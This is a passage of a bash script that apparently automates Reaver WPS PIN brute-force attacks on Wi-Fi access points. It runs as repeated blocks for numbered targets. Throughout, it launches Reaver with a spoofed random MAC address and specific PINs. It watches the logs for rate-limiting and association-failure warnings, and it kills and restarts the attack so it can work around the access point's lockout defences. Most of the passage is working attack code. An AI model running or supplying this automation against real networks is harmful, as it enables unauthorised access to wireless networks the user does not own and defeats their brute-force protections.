echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -vv -x 60  --pin=$WPS_PIN4 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R4 == y || $USE_R4 == Y ]] && [[ $USE_LONG4 == n || $USE_LONG4 == N ]] && [[ $USE_PIN4 == y || $USE_PIN4 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX4" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY4"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -vv -x 60 -r $RX4:$RY4 --pin=$WPS_PIN4 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R4 == n || $USE_R4 == N ]] && [[ $USE_LONG4 == y || $USE_LONG4 == Y ]] && [[ $USE_PIN4 == y || $USE_PIN4 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN4 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R4 == y || $USE_R4 == Y ]] && [[ $USE_LONG4 == y || $USE_LONG4 == Y ]] && [[ $USE_PIN4 == y || $USE_PIN4 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME4"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL4"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP4"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX4" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY4"
echo -e "$info Reaver live time                   = $yel$LIVE4 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME4-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL4 -b $TARGETAP4 -r $RX4:$RY4 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN4 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME4-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE4-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME4-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME4-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME4-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP4 (ESSID: $NMEWARN4)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE4 == n ] || [ $KEEP_FILE4 == N ]; then

          rm VARMAC_LOGS/$NAME4-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R5 == n || $USE_R5 == N ]] && [[ $USE_LONG5 == n || $USE_LONG5 == N ]] && [[ $USE_PIN5 == n || $USE_PIN5 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME5"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL5"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP5"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE5 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME5-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL5 -b $TARGETAP5 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME5-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE5-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME5-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME5-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME5-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME5-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

